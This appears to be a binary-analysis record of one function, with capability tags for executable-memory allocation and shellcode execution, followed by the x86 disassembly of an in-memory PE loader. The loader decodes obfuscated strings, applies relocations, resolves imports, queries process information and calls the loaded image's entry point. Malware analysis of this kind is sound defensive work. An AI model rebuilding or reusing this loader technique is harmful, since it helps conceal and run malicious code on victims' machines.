Function at 0x10002c00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov eax, dword [ebx]
push 4
push 0x3000
push 8
push 0
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x10002c4a
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push eax
push ebx
call esi
push 0x8000
push 0
push dword [ebp + 8]
call esi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
movzx eax, byte [0x1000f018]
xor al, byte [0x1000f020]
push edi
mov byte [esi], al
movzx eax, byte [0x1000f021]
xor al, byte [0x1000f019]
mov byte [esi + 7], 0
mov byte [esi + 1], al
movzx eax, byte [str.ri_aW]
xor al, byte [0x1000f01a]
mov byte [esi + 2], al
movzx eax, byte [0x1000f023]
xor al, byte [0x1000f01b]
mov byte [esi + 3], al
movzx eax, byte [0x1000f024]
xor al, byte [0x1000f01c]
mov byte [esi + 4], al
movzx eax, byte [0x1000f025]
xor al, byte [0x1000f01d]
mov byte [esi + 5], al
movzx eax, byte [0x1000f026]
xor al, byte [0x1000f01e]
mov byte [esi + 6], al
call fcn.10004190
mov edi, eax
test edi, edi
jne 0x10002cf5
push 0x8000
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
call esi
push 0x8000
push edi
push ebx
call esi
push 0x8000
push edi
push dword [ebp + 8]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
call fcn.100037d0
add esp, 8
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
add eax, 7
and eax, 0xfffffff8
push eax
lea esi, [ebx + 8]
push esi
push edi
call fcn.10003830
add esp, 0xc
push edi
cmp eax, 1
je 0x10002d57
call fcn.100041c0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
add esp, 4
push 0x8000
push 0
push ebx
call esi
push 0x8000
push 0
push dword [ebp + 8]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.100041c0
mov eax, dword [esi]
mov edi, dword [ebp + 8]
add esp, 4
mov dword [ebp - 8], eax
mov eax, dword [esi + 4]
mov dword [edi + 6], eax
push 4
lea eax, [eax + eax*2]
push 0x3000
shl eax, 2
push eax
push 0
add esi, 8
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [edi + 0xa], eax
test eax, eax
jne 0x10002d9f
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push eax
push ebx
jmp 0x1000335f
cmp dword [edi + 6], 0
jbe 0x10002ddb
xor edx, edx
xor ebx, ebx
lea esp, [esp]
mov ecx, dword [edi + 0xa]
mov eax, dword [esi]
mov dword [edx + ecx], eax
mov ecx, dword [edi + 0xa]
mov eax, dword [esi + 4]
mov dword [edx + ecx + 4], eax
mov ecx, dword [edi + 0xa]
mov eax, dword [esi + 8]
mov dword [edx + ecx + 8], eax
inc ebx
add esi, 0xc
lea edx, [edx + 0xc]
cmp ebx, dword [edi + 6]
jb 0x10002db0
mov ebx, dword [ebp + 0xc]
mov ecx, dword [esi]
movzx eax, cx
push 0x40000000
sub ecx, eax
add ecx, 0x10000
push 0x40
push 0x3000
push ecx
add esi, 4
mov dword [ebp - 4], ecx
mov dword [edi + 0xe], ecx
call fcn.10002a60
add esp, 0x10
test eax, eax
jne 0x10002e32
push eax
push 0x40
push 0x3000
push dword [ebp - 4]
call fcn.10002a60
add esp, 0x10
test eax, eax
jne 0x10002e32
push 0x40
push 0x3000
push dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [edi + 2], eax
test eax, eax
jne 0x10002e57
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push eax
push dword [edi + 0xa]
call esi
push 0x8000
push 0
push ebx
jmp 0x1000335f
call fcn.100034b0
mov dword [ebp + 0xc], eax
test eax, eax
je 0x10002e7f
push dword [ebp - 8]
push esi
push eax
call fcn.100036c0
add esp, 0xc
test eax, eax
jne 0x10002eaa
push dword [ebp + 0xc]
call fcn.100034e0
add esp, 4
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push dword [edi + 2]
call esi
push 0x8000
push 0
push dword [edi + 0xa]
call esi
push 0x8000
push 0
push ebx
jmp 0x1000335f
push dword [ebp - 4]
push dword [edi + 2]
push dword [ebp + 0xc]
call fcn.10003790
add esp, 0xc
push dword [ebp + 0xc]
test eax, eax
je 0x10002e77
call fcn.100035a0
add esp, 4
push dword [ebp + 0xc]
test eax, eax
je 0x10002e77
call fcn.100034e0
mov eax, dword [ebp - 8]
add eax, 7
add esp, 4
and eax, 0xfffffff8
add esi, eax
mov eax, dword [edi + 6]
push 4
push 0x3000
shl eax, 2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, eax
mov dword [ebp - 4], edx
test edx, edx
je 0x10002e7f
xor ecx, ecx
cmp dword [edi + 6], ecx
jbe 0x10002f1e
mov edi, edi
mov eax, dword [esi]
mov dword [edx + ecx*4], eax
inc ecx
lea esi, [esi + 4]
cmp ecx, dword [edi + 6]
jb 0x10002f10
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push ebx
call esi
mov ebx, dword [edi + 2]
xor ecx, ecx
mov dword [ebp + 0xc], ecx
cmp dword [edi + 6], ecx
jbe 0x10002f82
mov esi, dword [edi + 0xa]
mov edi, edi
mov eax, dword [esi + 4]
cmp eax, 2
je 0x10002f4d
cmp eax, 0x20
jne 0x10002f68
xor ecx, ecx
xor edx, edx
cmp dword [esi], ecx
jbe 0x10002f60
movzx eax, byte [ebx + ecx]
inc ecx
add edx, eax
cmp ecx, dword [esi]
jb 0x10002f55
cmp dword [esi + 8], edx
jne 0x10002f78
mov ecx, dword [ebp + 0xc]
add ebx, dword [esi]
inc ecx
add esi, 0xc
mov dword [ebp + 0xc], ecx
cmp ecx, dword [edi + 6]
jb 0x10002f40
jmp 0x10002f7c
or word [edi], 2
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [ebp - 0x64]
push eax
push edi
call fcn.10002990
add esp, 8
test eax, eax
je 0x1000333c
mov ebx, dword [ebp - 0x5c]
cmp dword [ebx + 4], 8
lea eax, [ebx + 4]
mov dword [ebp + 0xc], eax
jbe 0x10003073
mov ecx, 0x3000
mov dword [ebp - 8], 0xa000
mov dword [ebp - 0xc], 0x9000
lea ecx, [ecx]
mov eax, dword [eax]
sub eax, 8
shr eax, 1
mov dword [ebp - 0x10], eax
mov esi, 0
je 0x1000305e
jmp 0x10002fe0
movzx edx, word [ebx + esi*2 + 8]
mov eax, edx
and eax, 0xf000
cmp cx, ax
jne 0x1000300d
mov eax, dword [edi + 2]
mov ecx, dword [ebp - 0x60]
and edx, 0xfff
add edx, dword [ebx]
add edx, eax
sub eax, dword [ecx + 0x34]
add eax, 0x198c1de5
add dword [edx], eax
jmp 0x10003053
cmp word [ebp - 8], ax
je 0x10002ff1
cmp word [ebp - 0xc], ax
je 0x10003058
mov ecx, 0x7000
cmp cx, ax
jne 0x1000304c
mov ecx, dword [edi + 2]
mov edi, dword [ebp - 0x60]
mov eax, ecx
sub eax, dword [edi + 0x34]
and edx, 0xfff
add edx, dword [ebx]
add eax, 0x198c1de5
push eax
add edx, ecx
push edx
call fcn.10002870
mov edi, dword [ebp + 8]
add esp, 8
jmp 0x10003053
xor ecx, ecx
cmp cx, ax
jne 0x100030bb
mov ecx, 0x3000
inc esi
cmp esi, dword [ebp - 0x10]
jb 0x10002fe0
mov eax, dword [ebp + 0xc]
add ebx, dword [eax]
cmp dword [ebx + 4], 8
lea eax, [ebx + 4]
mov dword [ebp + 0xc], eax
ja 0x10002fc0
mov ebx, dword [ebp - 0x54]
mov dword [ebp + 0xc], ebx
cmp dword [ebx + 0x10], 0
je 0x10003130
mov esi, dword [ebx + 0xc]
add esi, dword [edi + 2]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
mov dword [ebp - 0x10], edx
test esi, esi
je 0x100030bb
test edx, edx
je 0x100030bb
mov esi, dword [ebx + 0x10]
add esi, dword [edi + 2]
mov ebx, dword [ebx]
add ebx, dword [edi + 2]
cmp dword [esi], 0
je 0x1000311d
lea ecx, [ecx]
mov ecx, dword [ebx]
test ecx, ecx
jns 0x100030f9
movzx eax, cx
jmp 0x10003101
mov ebx, dword [ebp - 4]
push 0x8000
push 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
call ebx
push 0x8000
push 0
push dword [edi + 2]
call ebx
push 0x8000
push 0
push dword [edi + 0xa]
call ebx
push 0x8000
push 0
push edi
call ebx
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 2]
add eax, 2
add eax, ecx
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100030bb
mov edx, dword [ebp - 0x10]
mov dword [esi], eax
add esi, 4
add ebx, 4
cmp dword [esi], 0
jne 0x100030b0
mov ebx, dword [ebp + 0xc]
add ebx, 0x14
mov dword [ebp + 0xc], ebx
cmp dword [ebx + 0x10], 0
jne 0x10003083
mov al, byte [0x1000c164]
mov byte [ebp - 0x44], al
xor eax, eax
lea esi, [ebp - 0x44]
mov dword [ebp - 0x43], eax
mov dword [ebp - 0x3f], eax
mov dword [ebp - 0x3b], eax
mov dword [ebp - 0x37], eax
mov dword [ebp - 0x33], eax
mov dword [ebp - 0x2f], eax
mov word [ebp - 0x2b], ax
mov byte [ebp - 0x29], al
mov eax, esi
mov edx, 0x1000f028
test eax, eax
je 0x1000318b
mov byte [ebp + 0xf], 0
xor ecx, ecx
mov al, byte [ebp + 0xf]
mov byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 0x1c
jb 0x10003167
mov al, byte [edx]
inc edx
not al
mov byte [esi], al
lea esi, [esi + 1]
cmp edx, 0x1000f031
jb 0x10003174
lea eax, [ebp - 0x44]
jmp 0x10003190
mov eax, dword [0x1000f078]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
je 0x10003210
lea esi, [ebp - 0x44]
mov eax, esi
mov edx, 0x1000f032
test eax, eax
je 0x100031d7
mov byte [ebp + 0xf], 0
xor ecx, ecx
mov al, byte [ebp + 0xf]
mov byte [ebp + ecx - 0x44], al
inc ecx
cmp ecx, 0x1c
jb 0x100031b1
mov edi, edi
mov al, byte [edx]
inc edx
not al
mov byte [esi], al
lea esi, [esi + 1]
cmp edx, 0x1000f04b
jb 0x100031c0
lea eax, [ebp - 0x44]
jmp 0x100031dc
mov eax, dword [0x1000f078]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x10003210
lea eax, [ebp - 0x10]
push eax
push 0x18
lea eax, [ebp - 0x28]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
test eax, eax
js 0x10003210
mov eax, dword [ebp - 0x24]
cmp byte [eax + 2], 0
je 0x10003210
or word [edi], 0x10
mov byte [ebp + 0xf], 0
xor ecx, ecx
mov al, byte [ebp + 0xf]
inc ecx
cmp ecx, 0x1c
jb 0x10003216
cmp dword [edi + 6], 0
mov eax, dword [edi + 2]
mov dword [ebp + 0xc], eax
mov dword [0x10268b58], eax
mov dword [ebp - 8], 0
jbe 0x100032d3
xor esi, esi
lea ecx, [ecx]
mov eax, dword [edi + 0xa]
mov ebx, dword [eax + esi + 4]
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
jns 0x10003269
mov eax, ebx
and eax, 0xf
cmp eax, ebx
je 0x10003269
test bl, 0x30
mov ebx, 4
je 0x10003269
mov ebx, 2
mov eax, dword [edi + 0xa]
push ebx
mov ebx, dword [ebp + 0xc]
push 0x1000
push dword [eax + esi]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [edi + 0xa]
mov eax, dword [ecx + esi + 4]
cmp eax, 2
je 0x10003290
cmp eax, 0x20
jne 0x100032b6
mov dword [ecx + esi + 8], 0
mov eax, dword [edi + 0xa]
xor edx, edx
cmp dword [esi + eax], edx
jbe 0x100032b6
movzx eax, byte [ebx + edx]
mov ecx, dword [edi + 0xa]
inc edx
add dword [ecx + esi + 8], eax
mov eax, dword [edi + 0xa]
cmp edx, dword [esi + eax]
jb 0x100032a2
mov eax, dword [edi + 0xa]
add esi, 0xc
add ebx, dword [eax + esi - 0xc]
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp + 0xc], ebx
mov dword [ebp - 8], eax
cmp eax, dword [edi + 6]
jb 0x10003240
mov eax, dword [ebp - 0x60]
mov ecx, dword [eax + 0x28]
lea eax, [ecx - 0x49909b19]
test eax, eax
je 0x100032fd
mov eax, dword [edi + 2]
push 0
add ecx, 0xb66f64e7
push 1
add ecx, eax
push eax
call ecx
test eax, eax
je 0x100030bb
mov ebx, dword [ebp - 4]
xor edx, edx
cmp dword [edi + 6], edx
jbe 0x10003323
xor esi, esi
lea esp, [esp]
mov ecx, dword [edi + 0xa]
mov eax, dword [ebx + edx*4]
mov dword [ecx + esi + 4], eax
inc edx
lea esi, [esi + 0xc]
cmp edx, dword [edi + 6]
jb 0x10003310
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push ebx
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 4]
push 0x8000
push 0
push ebx
call esi
push 0x8000
push 0
push dword [edi + 2]
call esi
push 0x8000
push 0
push dword [edi + 0xa]
call esi
push 0x8000
push 0
push edi
call esi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret